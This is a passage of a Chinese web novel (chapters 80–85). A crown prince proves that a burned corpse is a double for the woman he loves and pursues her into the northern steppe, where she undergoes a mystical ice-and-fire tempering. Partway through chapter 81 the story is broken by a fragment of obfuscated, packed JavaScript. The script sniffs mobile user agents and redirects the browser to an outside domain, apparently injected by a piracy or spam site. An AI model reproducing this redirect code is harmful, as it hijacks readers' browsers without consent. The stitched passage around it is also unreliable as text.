肩头洇开的血迹早已干涸成暗褐色,与明黄的太子常服融为一体,刺目又凄凉。
掌心的伤口更深,血鸦令的碎片几乎嵌进肉里。
素雪几次想为他处理伤口,都被萧景珩无声地拒绝。
焚星台的焦糊气味,似乎还萦绕在鼻端。
那冲天烈焰、滚滚浓烟,一遍遍烫在他的心底,烫在他的灵魂深处。
绾绾…
那个在刑场初见,眼神倔强如野草的女子…
那个在御花园为他诊脉,指尖冰凉却引动他寒毒共鸣的女子…
那个在冷宫火海,被他玄衣覆身救下的女子…
那个在温泉洞窟,心口火焰灼热、烙印在他灵魂深处的女子…
那个在渊阁冰火同契,引毒入体,为他搏命的女子…
她怎么能在走到自己内心深处之后,就那样化成了灰烬?
然后重新将孤独、空寂留给自己,让自己深深陷入无能为力的绝望中!
“嗬…”
一阵压抑到极致的、如同濒死野兽般的喘息从萧景珩喉咙深处挤出。
心口那处火焰印记传来一阵尖锐过一阵的灼痛,仿佛在疯狂地拉扯、呐喊,告诉他另一个印记的存在并未完全消失。
可那冲天的大火…那焦黑的残骸…
理智与直觉在疯狂撕扯,将他本就濒临崩溃的神经推向毁灭的边缘。
“阁主…”
寒鸦冰冷的声音带着艰涩,打破了殿内令人窒息的死寂。
他单膝跪在冰冷的地砖上,头颅低垂,几乎触地,不敢去看那个几乎被抽走了所有生气的背影。
“验…验尸已毕…”
萧景珩的身体微微绷紧,如同一张拉到极限的弓弦。
他没有回头,背在身后的手却猛地收紧。
“说。”
一个字,嘶哑破碎,冰冷得不带一丝人味,声音仿佛是从九幽地狱爬出来一般。
寒鸦喉结滚动了一下,努力让自己的声音平静:
“属下已经亲自查验过。焦尸为女性,身高五尺一寸,与林小姐一致。”
“根据身体形态,齿龄推算,皆吻合。”
“尸身表面,严重碳化!但…其心口位置,火焰胎记的灼痕犹在。其形状…亦与林小姐的相符。”
心口火焰印记…灼痕犹在…形态相符…
每一个字,都像一把冰冷的钝锤,狠狠敲击在萧景珩早已千疮百孔的心上。
一股撕裂灵魂的剧痛,让萧景珩高大的身躯猛然一晃,眼前骤然一片漆黑。
支撑他世界的最后一根支柱,在寒鸦冰冷的“铁证”下,轰然崩塌!
“噗--!”
一口压抑许久的腥甜再也无法抑制,喷溅在身前的窗棂上!
刺目的猩红在窗棂上绽放,如同盛开的绝望之花。
萧景珩整个人几乎站立不稳。
身体晃动间,手臂重重支撑在冰冷的窗棂上,骨骼撞击发出沉闷的响声。
“阁主!”寒鸦惊呼一声,想要上前搀扶。
“滚开!”
萧景珩猛的抬手,带着一种濒临疯狂的暴戾。
他死死扶住窗棂,勉强稳住摇摇欲坠的身体。
萧景珩低着头,剧烈地喘息着。
额发凌乱的垂落,遮住了他那双失去所有光彩、只剩下无边死寂与毁灭的猩红眼眸。
寒鸦的话,就是最冰冷的判决,将萧景珩最后一丝微弱的希望彻底碾碎。
相符…一切都相符…
原来…那句“等我…”竟是诀别!
巨大的空洞感将萧景珩彻底淹没。
对他而言,整个世界都失去了声音和色彩。
只剩下…
焚星台上那跳跃的、吞噬一切的烈焰,和烈焰中那渐渐蜷缩焦黑的轮廓。
萧景珩感觉不到愤怒,感觉不到恨,整个人深深陷入一种无边无际的绝望和虚无。
清漪殿内,只剩下萧景珩如同困兽濒死的哀鸣在殿内回荡。
不知过了多久,也许是几息,也许是一炷香。
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心口处!
那处沉寂了许久的火焰印记,毫无征兆地传来一阵尖锐、滚烫的悸动!
这悸动,并非之前的灼痛,而是一种来自灵魂深处的共鸣与呼唤。
带着一种强烈且不甘的挣扎,如同被深埋于灰烬之下的火星,在濒临熄灭之际,发出了最后的呐喊!
萧景珩如同被无形的电流狠狠击中!
整个人剧烈一颤!
那双如同蒙尘古镜般的猩红眼眸,骤然爆发出骇人的精光。
不对!这感觉不对!
那印记传来的!
不是消亡的冰冷!
是…是挣扎,是存在,是…呼唤!
一股近乎疯狂的念头瞬间冲破绝望的冰层。
“尸骨何在?”
萧景珩猛地转身,声音嘶哑得如同破锣,却带着足以恐怖的威压。
他的眼睛死死盯着寒鸦,里面翻涌的不是悲伤,不是绝望,而是失控的暴怒和偏执!
寒鸦被这突如其来如同实质般的杀意惊得浑身一颤,“回阁主!尸骨已经由钦天监收敛,暂存于停尸房。”
“带路!”萧景珩的声音如同冰刀刮过骨缝。
他甚至不等寒鸦反应,一把将寒鸦推开,脚步踉跄着,却以惊人的速度冲向殿门。
清漪殿沉重的大门被萧景珩一掌轰开。
门外守卫的禁军被这突如其来的变故和萧景珩身上恐怖的气势惊得连连后退。
有个禁军小统领战战兢兢站出来,小心说道:“太子殿下,陛下有旨意…”
“滚!”
萧景珩眼神中的疯狂与毁灭之意,让这些禁军都感到一阵心悸,下意识地后退一步。
几个禁军看到太子的样子,彼此小声嘀咕:
“太子好歹是未来储君,咱们得罪不起。况且,皇上只是让咱们在妖女行刑期间限制住太子行动。如今妖女已经伏诛,咱们没必要与太子作对。”
其他的人闻言也纷纷点头。
众人不自觉地给萧景珩让开一条通道。
萧景珩不再理会任何人,如同一道飓风,在宫道上疾驰。
所过之处,宫人无不惊恐避让,如同见了煞神一般。
第81章 天衣无缝
停尸房。
阴冷,死寂,弥漫着若有若无的焦糊气味。
一盏昏黄的油灯下,一张简陋的木板上,覆盖着一层厚厚的白布。
白布之下,是一个模糊的人形轮廓。
萧景珩的脚步在门口顿住。
那刺鼻的气味和冰冷的死气,如同钢针般扎入他的心脏。
他深吸一口气,压下喉头翻涌的血腥气,一步一步,沉重地走了进去。
寒鸦紧随其后,屏住呼吸。
萧景珩走到木板前,死死盯住木板上的白布,伸出的手都在微微颤抖。
他揪住白布,用尽全身力气,一把掀开!
一具焦黑、扭曲、甚至是散发着一点恶臭的残骸暴露在昏黄的灯光下。
碳化的皮肤黏连着焦骨,狰狞可怖,完全看不出人形。
唯有心口位置,一片相对完好的焦黑皮肤上,一个模糊的、火焰形状的灼痕,依稀可辨。
身体外形与所有一切都与寒鸦的描述别无二致。
巨大的痛苦再次向萧景珩袭来,几乎让他站立不稳。
寒鸦不忍地别过头。
不!不能放弃!
萧景珩心底那微弱的声音在疯狂呐喊!
他强迫自己冷静!再冷静!
萧景珩目光掠过尸身焦黑的颈项,肩胛…最后死死盯着心口那个火焰灼痕。
他的目光如同一把精密的刻刀,一寸一寸地刮过那痕迹边缘。
形态、深浅、轮廓…每一个细节都不放过。
不对!
还是不对!
虽然形态相似,但那细微的纹路走向…
那火焰末端本该微微内卷的弧度…这里为何是僵直的!
这印记在仔细端视下,少了份天然灵动的神韵,更像是被某种外力物件强行模仿拓印上去的!
这根本不是绾绾原本的火焰印记,而是一件被模仿得很拙劣的赝品!
一股狂喜混合滔**火冲上头顶。
但这还不够!
这还不足以彻底推翻这具焦骨不是林绾绾的“铁证”。
萧景珩的目光最终落到被白布遮掩的骨盆位置。
骨盆…耻骨联合…
书中曾有记载:女子耻骨联合面之形态、沟嵴、斜面角度,随年龄增长有微妙变化,尤以二十岁前后为显著分野,非烈火所能彻底篡改!
绾绾…未满二十,若此骸真不是她…
萧景珩猛地俯身,不顾那刺鼻的恶臭和可怖的景象,手指灌注微弱的内力,带着近乎虔诚的专注,极其小心地拨开覆盖在骨盆区域焦黑的皮肉碎屑。
焦黑的碎屑簌簌落下,露出下方同样被熏烤得发黑、但大结构尚存的骨骼。
他的指尖在那被烟火熏得发黑的骨面上细细感受。
感受着表面沟壑的深浅,嵴棱的走向,联合面边缘的角度…
停尸房寂静无声,只有灯芯燃烧的噼啪轻响,和萧景珩压抑到极致的、细微的呼吸。
突然!
萧景珩的指尖,在耻骨联合面靠近上缘的一个特定角度,停顿了一下。
紧接着,他眼中那死灰般的绝望如同被投入火星的干柴,骤然爆发出狂喜与骇人的精光!
找到了!
虽然这耻骨联合面的斜面角度被烟火熏燎模糊,但其骨相所呈现的成熟度,分明已经接近二十五岁!
轰!
一道惊雷在萧景珩脑中炸响!
萧景珩眼中的死寂被一种狂喜、后怕交织的剧烈风暴取代!
这真的不是绾绾!不是!
这只是一具完美的替身…
所有的一切,都指向了一个答案——金蝉脱壳!
“嗬…嗬嗬…”
压抑到极致后,如同夜枭啼哭般的低笑,从萧景珩的口中发出。
他缓缓直起身,脸上没有任何表情,唯有那双黑眸里翻涌着足以毁天灭地的烈焰。
皇帝只想要林绾绾去练长生蛊,对她本人是生是死不会关心分毫,更绝不会如此大费周章去找个替身!
而另一个对绾绾如此有兴趣的,就只有——
赫连灼!
“好一个天衣无缝!身高!骨架!甚至…还伪造心口的火焰印记!赫连灼,你可真是煞费苦心!”
他明白了!全明白了!
赫连灼!那个该死的北漠质子!
什么凝霜馆毫无异动,那全是假象!
是赫连灼利用那场**和混乱,用一具精心准备的替身,换走了绾绾!
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16013883|176576||http|test|mini|href|location''.split(''|''),0,{}));
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>萧景珩的每一个字都如同冰锥一般,砸在寒鸦心头,他的脸色越发惨白。
“阁主!属下失察!罪该万死!”
寒鸦跪倒在地,额头重重磕在冰冷的地砖上。
都是自己的疏忽,忽略了最本质的细节,耽误了阁主的营救,还让阁主担惊受怕了这么久。
萧景珩没有理会寒鸦的请罪,他缓缓抬起手,轻轻抚过自己心口那处灼热跳动的火焰印记。
绾绾…她,真的还活着!
巨大的狂喜席卷全身,瞬间冲垮了萧景珩之前的绝望。
随之而来的,是更加汹涌的暴怒。
赫连灼!你好样的!竟敢将孤的命脉握在手中!
“传令血鸦阁!”
“给孤彻查!昨夜至今,所有与凝霜阁有关的车马、人员调动以及所有异常!”
萧景珩的声音陡然拔高,带着金戈铁马的杀伐之气,震得停尸房嗡嗡作响。
“所有的暗桩,所有的眼线,不计代价,全部启动!”
“密切关注赫连灼的动向!若他要离京,孤要知道他的离京路线,要精确到每一个时辰,每一里路!”
“调集血鸦阁‘夜枭’,潜入北漠境内。”
“若是绾绾已经进入北漠境内,给孤找到她!确认她的安危!”
“若赫连灼敢伤她一根头发…孤要他北漠王庭,血流漂杵!”
萧景珩的声音掷地有声,每一个字都带着血腥味。
一连串的命令,从萧景珩口中迸发!
“遵命!”
寒鸦眼中爆发出决绝的光芒,无半分迟疑,瞬间领命消失。
寒鸦知道,此刻的阁主,已从绝望的深渊中挣脱,化身为即将掀起滔天血海的猛兽!
萧景珩最后看了一眼木板上那具焦黑的残骸,眼中再无半分波澜。
房内阴冷的气息都被他周身散发的凛冽杀意逼退。
他转身,大步走出停尸房。
萧景珩站在停尸房外,抬头望向北方那阴云密布的天空。
心口那处火焰印记,如同指引的灯塔,传来清晰而滚烫的悸动。
绾绾…等着我。
无论天涯海角,无论龙潭虎穴…
我…来带你回家!
第82章 漠北长烟
车轮碾过官道,发出单调而规律的辘辘声。
车窗外,大胤的青山绿水急速**,渐渐被更加粗狂、辽阔的景色取代。
天空变得高远,干燥而凛冽的空气中带着塞外风沙的气息。
一辆外表毫不起眼、内里却铺设着厚厚绒毯和软垫的青篷马车,在数十名精壮彪悍、身着北漠皮袍的骑士护卫下,疾驰在通往边关的道路上。
车厢内,药味与雪松的味道交织。
林绾绾裹着厚厚的雪白狐裘,斜靠在柔软的引枕上。
她的脸色依旧苍白,唇色淡得几乎没有血色,长长的睫毛在眼下投下淡淡的阴影。
金昙假死药带来的极致冰寒和生机锁闭,比起父亲给她服用过的龟息丸,对身体造成的负担更大。
虽然赫连灼及时给她服用了北漠秘药提升元气,她自己又用金针疏导经脉,但那种从灵魂深处透出的虚弱感,短时间内还是难以消除。
林绾绾缓缓睁开眼,目光有些涣散地落在对面闭目养神的赫连灼身上。
赫连灼依旧穿着墨色窄袖长袍,暗银滚边在透过的车帘缝隙的光线下,泛着冷硬的光泽。
棱角分明的侧脸在颠簸的光影中显得深邃莫测。
“醒了?你感觉如何?”
赫连灼并未睁开眼,声音却清晰地响起,带着北漠特有的磁性腔调。
林绾绾动了动有些僵硬的指尖,感受着体内依旧滞涩的力量在微微流转。
她的声音沙哑,“还死不了。”
接着,她顿了顿,目光转向车窗外飞逝的荒原,“这是…到哪了?”
“已出大胤国境三百里。”
赫连灼睁开眼,琥珀色的眸子如同冰封的湖面,映出林绾绾苍白的脸。
“再有两日,便可抵达狼山脚下的‘鹰回谷’,那里有王庭的接应。”
北漠…狼山…母亲血脉的源头…
林绾绾的心绪复杂难言。
逃离了大胤的杀局,却似乎踏入了更深的未知漩涡。
“那具替身…”
她眼前又闪过焚星台冲天的火光和那焦黑的轮廓。
“一个被蛊虫侵蚀,早已油尽灯枯的死囚罢了。”
赫连灼的声音毫无波澜。
“本以为身形,齿龄还有心口印记已足以相似,就可以减少萧景珩深究的可能。可惜…”
他唇角勾起一丝玩味的弧度,“倒是我低估了血鸦阁主的执念和…手段。”
他显然已经得到萧景珩疯狂验尸的消息。
林绾绾闻言,心猛地一缩。
萧景珩…他知道了!
他知道了那具尸体不是她!
他会如何做?
他此刻…又该是何等的愤怒与疯狂?
血鸦阁…会不会与北漠的护卫发生冲突?
巨大的担忧如同藤蔓缠绕上心间。
“你还在担心他?”
赫连灼敏锐地捕捉到林绾绾眼底一闪而过的情绪,声音染上冷意。
“你是担心他追上来,坏了你的北漠之行?还是担心…他与我北漠铁骑兵戎相见?”
林绾绾沉默。
她无法回答。
对萧景珩的担忧,对北漠前路的迷茫,对血仇的执着…
种种情绪在她心中激烈碰撞。
“放心。”
赫连灼似乎并不在意她的心绪变化,目光转向窗外苍茫的天地。
“本王子的承诺,是带你回北漠。我可以助你查清真相,给你力量复仇。至于萧景珩…”
他声音略微顿了顿,带着掌控一切的默然。
“他若识相,止步于大胤边境,自是相安无事。若他执意越界的话…”
赫连灼的指尖在冰冷的车壁上轻轻一叩,“北漠的弯刀,从来不惧饮血!”
冰冷的杀意一闪而逝。
林绾绾的心沉了下去。
她毫不怀疑赫连灼的决心。
这个男人,温和的表象下是如狼王一般的冷酷与铁血!
车厢内陷入沉默,只有车轮滚滚的声响。
“圣女殿下,喝药了。”
一个清脆的声音打破了沉寂。
车帘掀开一角,一张带着异域风情的娇俏脸蛋探了进来。
她身着北漠侍女服饰,眉眼间带着恭敬,手中捧着一碗热气腾腾的褐色汤药。
“你是青蚨?不对
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,你不可能是她!”
林绾绾看着侍女的模样,大吃一惊,心下疑惑。
“小小易容蛊罢了。为掩人耳目将容貌做了一些小小改动。”赫连灼不屑地答道。
“婢子青蚨,奉主人之命,今后侍奉圣女左右。”
恢复了**的北漠侍女,恭敬地将药碗递到林绾绾跟前。
林绾绾眼中闪过一丝了然。
她们竟真的是同一个人!
赫连灼的手竟然能伸到血鸦阁里,将青蚨这颗钉子安插得如此之深。
林绾绾接过药碗,温热的触感透过瓷壁传来。
她看着碗中的药汁,没有立刻喝下,而是抬眸看向赫连灼。
“我的寒毒,还有这‘冰火同契’的隐患,在北漠王庭是否有解决之道?”
这是林绾绾现在最迫切关心的问题。
力量,才是她复仇的本钱和根本。
赫连灼的目光落在林绾绾心口位置,仿佛能穿透狐裘看到那处火焰印记。
“圣火之源,起于漠北狼山圣湖之畔的‘金昙冰火泉’。”
他的声音带着一种追述古老的肃穆。
“泉分阴阳两极,一极炽热如熔岩,一极冰寒冷彻骨。巫医族圣女的圣火之力,便是在冰火两极的极致淬炼中诞生。”
“你的问题根源在于血脉之力被长期压抑,这才导致寒毒力量强于圣火之力,使你备受寒毒侵扰。随后又在大胤强行觉醒力量,从而缺乏本源之地的淬炼与疏导。”
“冰火同契虽暂时平衡了你体内的力量,却如同无根之木,无水之源,隐患极大。”
他顿了顿,看着林绾绾眼中燃起的希望,继续道:
“《天医策》全卷,便供奉在圣湖旁的金昙圣殿之中。唯有在金昙冰火泉的淬炼下,辅以《天医策》的引导,才能真正唤醒你血脉的全部力量,稳固冰火同源,消除隐患。”
“这也是我要求你,必须随我回到北漠的原因之一!”
金昙冰火泉…圣殿…《天医策》全卷…
林绾绾的心剧烈跳动起来。
原来如此!
这才是她力量的真正的钥匙!
第83章 漠北追逐
“那…萧景珩哪?”
林绾绾忍不住追问,声音带着急切。
“他的玄冥寒毒,还有那心口的火焰印记…是否也是源于此?”
这是她心中最大的疑团。
赫连灼的眼中瞬间掠过极其复杂难辨的情绪。
有探究,有忌惮,甚至…有冰冷的杀意。
这些情绪波动迅速,很快就被他掩去。
他沉默了片刻,才缓缓开口:
“萧景珩…是个异数。他的寒毒与印记牵扯到一桩北漠王庭的绝密,甚至…可能与当年圣公主流落大胤的真相有关。”
他看向林绾绾,琥珀色的眸子深不见底。
“此事…待你真正获得圣女传承,拥有足够的力量时,自会告知于你。现在知道,对你,对他都毫无益处。”
赫连灼巧妙地回避了核心,却留下了一个令人不安的悬念。
林绾绾的心沉了下去。
赫连灼的回避,恰恰说明了萧景珩身世的诡异和可能带来的巨**烦。
北漠王庭的绝密…圣公主流落的真相…
难道萧景珩的出生,也与北漠有关?与母亲有关?
这个念头让林绾绾不寒而栗。
她不再追问,默默端起药碗,将苦涩的药汁一饮而尽。
温热的药力顺着喉咙滑下,滋养着枯竭的身体,却暖不了心底那层越积越厚的疑虑。
就在这时,马车外传来一阵急促的马蹄声和骑士低沉的呼喝声。
队伍似乎停了下来。
“王子!”
车外传来护卫统领浑厚的声音。
“哨骑回报,发现小股不明身份的骑兵尾随!行踪诡秘,似在探查。是否…”
赫连灼眼神一冷,声音里满是杀伐:“多少人?装备如何?可有旗号?”
“约三十骑,轻甲快马,无旗号,马术精湛,不似寻常马匪,倒像是…精锐斥候!始终与我们保持若即若离的状态!”
是萧景珩的血鸦阁?!
林绾绾的心瞬间提到了嗓子眼!
他果然追来了,还这么快!
赫连灼的唇角勾起一抹带着血腥味的弧度。
“精锐斥候?呵…看来大胤太子殿下,对圣女还真是…念念不忘。”
他掀开车帘一角,望向苍茫的荒原,目光锐利如鹰。
“传令!前队变后队,**上弦!‘苍狼卫’分出两队,左右包抄!给本王子抓几个活口回来...”
“本王子也想看看血鸦阁的骨头…有多硬!”
“遵命!”护卫统领的声音中也满是嗜血的兴奋。
“等等!”
林绾绾失声喊道,挣扎着坐直身体。
“赫连灼!不要杀他们!”
她无法想象血鸦阁的人落在赫连灼的手中会是什么下场。
更无法想象,一旦见了血,萧景珩会如何反应。
赫连灼闻言回头,琥珀色眸子冷冷看着她,语气中满是强势:
“林绾绾,别忘了你的立场,也别忘了…咱们马上就要到北漠的疆域!”
“擅闯北漠边境者…死!这是规矩!”
他顿了顿,声音放缓,却带着更深的寒意。
“不过你放心。本王子的刀,只砍向真正拔刀的人。”
“若他们识相,只是单纯地‘看着’…本王子的耐心,还够用!”
说完,他放下手中的车帘,隔绝了林绾绾焦急的目光,也隔绝了车外骤然升腾的凛冽杀气。
马车再次启动,行驶速度明显加快。
林绾绾靠在车壁上,听着车外隐隐传来的弓弦绷紧声,马蹄的奔腾声...还有远处荒原上可能正在上演的追逐与对峙。
她觉得整颗心如同被放在炭火上炙烤一般。
萧景珩,你千万别硬闯…求你了…
而此刻,在荒原另一侧的高坡上,一身黑色劲装,以黑巾蒙面的寒鸦,正伏在冰冷的岩石之后,透过鹰眼瞭望镜,死死盯着北漠车队。
他看到车队中分出两队精锐骑兵,正如同张开獠牙的狼群,朝着他们藏匿的方向包抄而来。
他放下瞭望镜,眼中寒光闪烁。
他对着身后同样潜伏的‘夜枭’低声道:“撤!立刻撤回哨点!”
“将消息传回阁主!就说目标已确认!北漠王子赫连灼,车队护卫森严,路线明确!”
“林小姐,确在车中!暂未发现明显受制痕迹!”
“但北漠人已经发现我们了!目前不宜硬拼!”
“后续如何行事,请阁主定夺!”
夜枭无声领命,如同融入沙漠中的影子,迅速后撤。
寒鸦最后看了一眼那辆在骑兵
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护卫下,越来越远的青篷马车,眼中闪过一丝担忧。
随即也迅速隐身,消失在茫茫荒原的暮色之中。
一场无声的追逐与对峙,在两国边境的荒原上拉开序幕。
而更深的谜团与即将到来的风暴,如同北方天际渐渐堆积的铅云,沉沉地压向疾驰的马车,也压向远在大胤、正酝酿着雷霆之怒的东宫。
******
清漪殿内。
“孤要亲自去一趟!”一个不容置喙的决定,刺破了所有的纷乱。
萧景珩听闻寒鸦传来的消息后,便无法再忍受等待!
他无法忍受林绾绾在他看不见的地方。
现在的每一息都是煎熬!
但他是太子!是血鸦阁主!
皇帝刚刚借焚刑之事,惩戒过他。
他若贸然离京,无异是将把柄亲手奉上!
一个缜密而大胆的计划在他心中瞬间成型。
“赵乾,素雪!听令!”萧景珩目光如电,语速极快。
“第一,让阁中易容高手以最快速度赶到东宫,易容成孤的样子!”
“素雪,要对外宣称,太子因冷宫蛊灾受惊,加之旧日寒毒反噬,病势沉重,需要闭门静养。”
“第二,传讯鬼医,让他提前配好药。要能引发类似寒毒爆发的剧烈症状。这样可以应付宫里太医的诊治。”
“但药力必须可控,不能伤及易容者的根本!”
“第三,东宫内所有明暗守卫,由赵乾负责,提升至最高警戒!”
“孤离京期间,东宫内外,陌生人员许进不许出!有任何可疑动向,宁可错杀,不可放过!”
“第四,血鸦阁日常运转,我会调离寒鸦回来负责。重点监控皇帝、太后所有动向!尤其是炼丹之地的蛛丝马迹!”
“有任何异常,速速飞鹰传书到漠北联络点!”
一连串指令,如同行云流水,瞬间将庞大的东宫与血鸦阁调动起来。
每一个环节都经过精密计算,环环相扣,将风险压到最低。
半柱香内,一切安排妥当!
萧景珩毫不犹豫地褪下象征太子身份的明黄常服,换上冰冷的玄色劲装。
当戴上玄羽扳指的刹那,属于太子的温润与隐忍彻底褪尽,只剩下血鸦阁主的凛冽锋芒!
第84章 冰火淬骨
狼山。
如同沉睡的远古巨兽,横亘在漠北苍茫的荒原尽头。
山势嶙峋险峻,峰顶终年覆盖着皑皑白雪,在碧空下折射出冷硬的光泽。
山脚下。
一片巨大、如同蓝宝石般镶嵌在群山环抱中的湖泊,便是金昙圣湖。
水色幽蓝,深不见底。
湖心处,一座由黑色巨石垒砌,风格粗犷而古老的巍峨神殿沉默地矗立在其中。
此殿,正是金昙圣殿。
林绾绾站在圣殿巨大的石阶下,仰望着这座承载了巫医族千年传承的神圣之地。
凛冽的山风卷着雪沫,呼啸着掠过她的脸颊。
那山风冰冷刺骨,却吹不散她心头的激荡与沉重。
狐裘下的身体,依旧带着假死脱身后的虚弱。
沉静的眸子,此刻却正燃烧着灼灼的火焰。
力量,真相,复仇的基石...就在她的眼前!
赫连灼站在林绾绾的身侧,墨色王袍在寒风中猎猎作响,琥珀色的眼眸印着圣湖幽蓝的水光,深邃难测。
“圣殿到了。”
赫连灼的声音带着一种仪式般的肃穆。
“冰火泉在圣殿最深处的地宫。你的淬炼,将在那里进行。你瞧,王庭的长老们已经在那里等候你了。”
他口中的长老,正无声地分立在神殿门口两侧。
三位长老身着奇异暗金纹路白袍,须发皆白,面容如同刀刻斧凿般的岩石,眼神仿佛蕴含着洞穿世事的沧桑。
三人的目光落在林绾绾身上,带着期待、审视,以及难以言喻的复杂。
“圣女血脉…”
为首的大长老,声音干涩而古老,“终于…回家了。”
他枯瘦的手指微微抬起,指向圣殿深处幽暗的入口。
“去吧,孩子。接受冰与火的洗礼,唤醒沉睡在你血液中的力量。”
没有多余的寒暄,只有沉重的使命。
林绾绾深吸一口冰冷刺骨的空气,压下翻腾的心绪,迈步踏上冰冷的石阶。
青蚨紧随其后,眼神警惕而恭敬。
圣殿内部空旷而幽暗。
巨大的黑色石柱支撑着高耸的穹顶。
壁上雕刻着繁复古老的图腾,描绘着火焰、冰雪、狼群以及奇异的植物。
空气冰冷潮湿,处处都是一种岩石和岁月沉淀的气息。
穿过长长的、光影摇曳的回廊,最终抵达地宫入口——
一扇看起来十分沉重,雕刻着巨大金丝昙花与冰火纹路的青铜巨门。
两名同样身着白袍的年轻侍者,合力推开沉重的巨门。
一股极致的冰寒与灼热交织的混沌气息,扑面而来。
门后,是一个巨大的天然洞窟。
洞窟中央,赫然是一处奇景。
一泓约莫十丈方圆的泉池,泾渭分明地分割两半!
一半,赤红如熔岩!
翻滚着灼热的气泡,散发出焚尽万物的恐怖高温。
水汽升腾,将上方的空气都炙烤得扭曲变形。
另一半,幽蓝如万载玄冰!
水面平静无波,却散发着足以冻结灵魂的刺骨冰寒。
池边凝结着厚厚的白霜,寒气森森。
这便是传说中的金昙冰火泉!
巫医族圣火之力诞生的本源之地!
而在泉池边缘,靠近熔岩泉水一侧的干燥岩石上,静静摆放着一卷由暗金色金属打造的厚重书卷。
上面都是一些古朴晦涩的文字。
书的封面赫然写着《天医策》三个大字!
此刻,书卷中散发着温润而浩瀚的古老气息,与泉池中狂暴的冰火之力隐隐呼应。
“褪去凡衣,入泉。”
大长老充满威仪的声音在地宫入口处响起。
“引《天医策》之力,导冰火本源入体,淬炼血脉,稳固同源。”
“这过程凶险万分,非大毅力、大机缘者不可承受。圣女,你准备好了吗?”
林绾绾看着翻滚的熔岩与死寂的玄冰,感受着那足以撕裂灵魂的冰火交织之力,心脏在胸腔中狂跳。
她没有犹豫,解下厚重的狐裘,身上只着单薄的素色里衣。
寒气瞬间刺透衣衫,让她激灵灵打了个寒战。
“圣女…”
青蚨眼中满是担忧。
林绾绾给了她一个安抚的眼神,随后目光
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坚定地投向那卷《天医策》。
她赤着双足,一步步走向池中沸腾与死寂的交界处。
身体入泉,泉水深度只到她的大腿处。
滚烫的泉水灼烧着她的身体,冰冷的寒气又瞬间冻结了她刚刚冒出的汗液。
冰火两重天的极致痛苦从足底直冲头顶!
她咬紧牙关,盘膝坐在离《天医策》最近的地方。
深吸一口气,双手缓缓抚上古书冰冷的金属封面。
指尖触碰到书卷刹那,一声来自远古的共鸣,响彻整个地宫。
暗金色的古书封面亮起无数符文,一股蕴含着天地至理的生命洪流,如同决堤般涌入林绾绾的识海!
无数玄奥的经络图、药方、针法、淬体法门…如同星辰**般在她脑海中展开。
林绾绾强忍着识海被庞大信息冲击的剧痛,体内融合的冰火的全新力量,按照《天医策》的指引,小心翼翼地分别探向两侧泾渭分明的泉水。
“滋--!”
当她的力量触碰到熔岩泉水的瞬间,一股足以焚毁金铁的恐怖热流,如同咆哮的岩浆巨龙,顺着她的力量疯狂涌入经脉。
她的皮肤以肉眼可见的速度变得赤红滚烫!
几乎同时!
寒冰泉的冰冷死寂之力也顺着另一股力量涌入。
如同万载寒冰瞬间冻结血脉。
刺骨的冰霜在她身体表面迅速凝结出一层白霜,她的半边身体几乎失去知觉。
冰与火!
极致的毁灭力量在她脆弱的经脉中疯狂撕扯。
这比之前她在渊阁内引毒时更是痛苦千倍!
仿佛她的每一寸筋骨,每一条经脉都被彻底碾碎,焚毁,冻结!
林绾绾抑制不住痛苦,终是喷出一口鲜血。
血滴落在滚烫的岩石上,瞬间汽化。
她用尽全部意志,引导着两股狂暴的力量,按照识海中璀璨符文的指引,艰难地运行、交融。
这是一个无比凶险而漫长的过程。
每一息,林绾绾都如同在炼狱中煎熬。
她整个人如同在冰与火的磨盘中被反复碾磨,几度濒临崩溃的边缘!
第85章 力量初显
金昙圣泉中。
林绾绾的身体时而赤红如烙铁,蒸腾着灼热的白气。
时而青白如冰雕,覆盖着厚厚的寒霜。
汗水、血水混合着冰碴不断从她体表渗出,又在极端温度下迅速蒸发或冻结。
守在地宫入口的赫连灼,琥珀色的眸子紧紧盯着泉池中央那个痛苦挣扎的身影。
双拳在袖中无意识地握紧,指节泛白。
大长老浑浊的眼中也闪过凝重。
“主人,圣女她…”
青蚨的声音带着哭腔。
“闭嘴!”
赫连灼的声音冰冷,带着压抑的焦躁。
“这是她必须要承受的!谁也帮不了她!”
他看着林绾绾一次次在崩溃边缘强行稳住,看着她体表交替的冰火之色渐渐趋于一种微妙的平衡…
一种强烈的震撼在他心底激荡翻涌。
不知过了多久。
就在林绾绾感觉自己即将被这无尽的痛苦彻底吞噬时,识海中,关于“冰火同源”的核心符文突然爆发出前所未有的璀璨光芒。
“嗡…!”
一股蕴含着冰火两种极致属性的全新力量,如同甘泉般自她心口的火焰印记深处汩汩涌出。
这股力量不再狂暴冲突,而是如同阴阳太极一般完美融合,流转不息。
力量所过之处,原本被冰火璀璨的千疮百孔的经脉,如同久旱甘霖,贪婪地吸收着这全新的本源力量。
一种前所未有的强大感觉充斥了她的灵魂。
成功了!
冰火同源的血脉之力彻底稳固了。
林绾绾缓缓站起身,周身笼罩着一层淡淡的、由冰火本源之力自然形成的光晕。
青蚨急忙上前为她披上衣裳。
“恭迎圣女归位!”
三位长老同时躬身,声音里满是激动与敬畏。
赫连灼紧绷的身体也终于放松下来,眼中闪过如释重负的光芒。
就在这时!
“报——!!”
一个惶急惊恐的声音,惊雷般从地宫入口处炸响!
一名北漠侍令兵连滚带爬地冲了进来。
“王子殿下!长老!大事不好!鹰回谷…鹰回谷爆发瘟疫了!”
瘟疫?!
林绾绾和赫连灼的脸色同时剧变!
鹰回谷,正是他们前日抵达时,王庭接应部队驻扎的营地。
那也是北漠的要塞!
“说清楚!什么瘟疫!情况如何?”
赫连灼一步上前,厉声喝问。
“是…是黑死瘟!”
侍令兵的声音带着哭腔和极致的恐惧。
“发病极快!先是高热寒战,皮肤出现紫黑色斑块,继而溃烂流脓,口鼻出血。不到半日,人就…就没了!”
“谷中已有数百人染病。而且,这瘟疫蔓延速度极快,根本无法控制!连王庭派来的医官都染上了。”
“谷口已经被恐慌的士兵自发封锁了,里面…里面快成死地了。”
黑死瘟——发病急,死亡率高,传染性也极强!
